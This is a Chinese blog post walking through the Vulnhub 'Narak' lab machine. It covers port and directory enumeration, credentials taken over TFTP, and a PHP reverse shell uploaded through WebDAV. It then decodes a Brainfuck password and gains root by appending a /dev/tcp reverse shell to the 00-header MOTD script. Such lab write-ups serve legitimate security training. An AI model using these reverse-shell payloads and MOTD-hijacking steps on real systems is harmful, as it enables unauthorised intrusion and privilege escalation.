freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

vulhub-narak
2024-04-15 23:13:07

改靶机主要涉及知识点:webdav,tftp渗透,brainfuck语言认识,motd提权

常规端口扫描

nmap -sn 10.10.10.0/24

nmap --min-rate 10000 -p- 10.10.10.144

nmap -sT -sV -sC -O -p22,80 10.10.10.144

nmap --script=vuln -p22,80 10.10.10.144

nmap -sU --top-ports 20 10.10.10.144(这边的udp端口扫描出来有个tftp挺感兴趣的,记住,可能后面有用)

靶机ip 10.10.10.144,开放端口22,80

web渗透

访问一下80端口,直接点开就是一大堆图片,查看网页源代码也没太多信息

1713192601_661d3e995f5b62ad5c041.png!small?1713192602223

四处点点看看,没什么东西,有一个/images目录,留意一下,说不定以后能在这个目录上传shell

尝试目录爆破

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144

发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。

1713192727_661d3f1770cd8e4cc20a0.png!small?1713192727393

另一个目录 server-status目录没有太多信息,接下来看看能不能找到webdav的凭据

使用-x参数添加一些后缀名,在爆破一下目录(vulnhub页面的提示,“枚举”是关键)

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144

1713192826_661d3f7acd0ead173f96c.png!small?1713192826878


curl http://10.10.10.144/tips.txt   访问一下

1713192843_661d3f8becaf315153588.png!small?1713192844175

他说线索可以在creds.txt找到,访问一下,目录不存在

tftp渗透

现在我们是没有什么思路了,还记得之前udp端口扫描出来的tftp吗,尝试利用看看有没有什么让人感兴趣的

tftp 10.10.10.144

get creds.txt

成功下载了1713193083_661d407b700d6347af771.png!small?1713193083983

解码一下

cat creds.txt | base64 -d

得到一个类似账号密码的yamdoot:Swarg ,很可能是最初webdav目录的访问凭据!

webdav利用

回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面


1713193192_661d40e846d34083b6e9b.png!small?1713193192558

没什么东西,之前对webdav没什么了解,goole搜索一下

查到

kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg 

可以看到上传的文件类型如下:

1713193267_661d4133f182d944373bb.png!small?1713193268380

基本上都可以上传,再看一下执行权限:

1713193279_661d413fa477a2f243a79.png!small?1713193279695

可以执行php文件就很好,可以尝试上传php类型的反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

利用dadaver上传文件

cadaver http://10.10.10.144/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php

回到游览器,可以看到我们上传的shell文件了

1713193342_661d417ef24415c5b1026.png!small?1713193343059此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell

nc -lvnp 1234

寻找敏感文件初步提权

这边可以用

python3 -c "import pty;pty.spawn('/bin/bash')"

提升交互

常规提权命令枚举,基本没有什么感兴趣的

最终通过查找可写的文件发现了一些端倪:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

1713193497_661d42197a9ffdafca6ae.png!small?1713193497542

发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password,里面是webdav的登录凭据,应该不是ssh的凭据

brainfuck

查看hell.sh

这文字很奇怪
1713193559_661d42577e89989d0604a.png!small?1713193559616

--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

网上查了一下这是一种名为brainfuck的编程语言

可以用beef工具进行解释

beef hell.bf

解出了一串字符:chitragupt

可能是ssh某个用户的密码

cat /etc/passwd看一下有哪些用户

发现重点就是narak,yamdoot,inferno

尝试了一下是inferno的,ssh连接用户

ssh inferno@10.10.10.144

motd利用提权

现在是一个新用户了,我们还是常规提权枚举

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

查可写文件,重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限

MOTD(Message of the Day)是Linux系统登录时显示的一段信息1713193809_661d43512541bb38b7b7d.png!small?1713193809459

00-header,这是linux在登录时会运行的显示欢迎信息的脚本,属于root的

构建反弹shell代码到改文件

echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header

kali中监听nc -lvnp 4444

重新ssh登录inferno用户触发00-header脚本执行,从而触发反弹shell,又由于运行这个脚本时是具有root权限的(此处我有点疑惑),成功触发了反弹shell,且反弹的是root的shell,也就是提权成功了!


# 网络安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录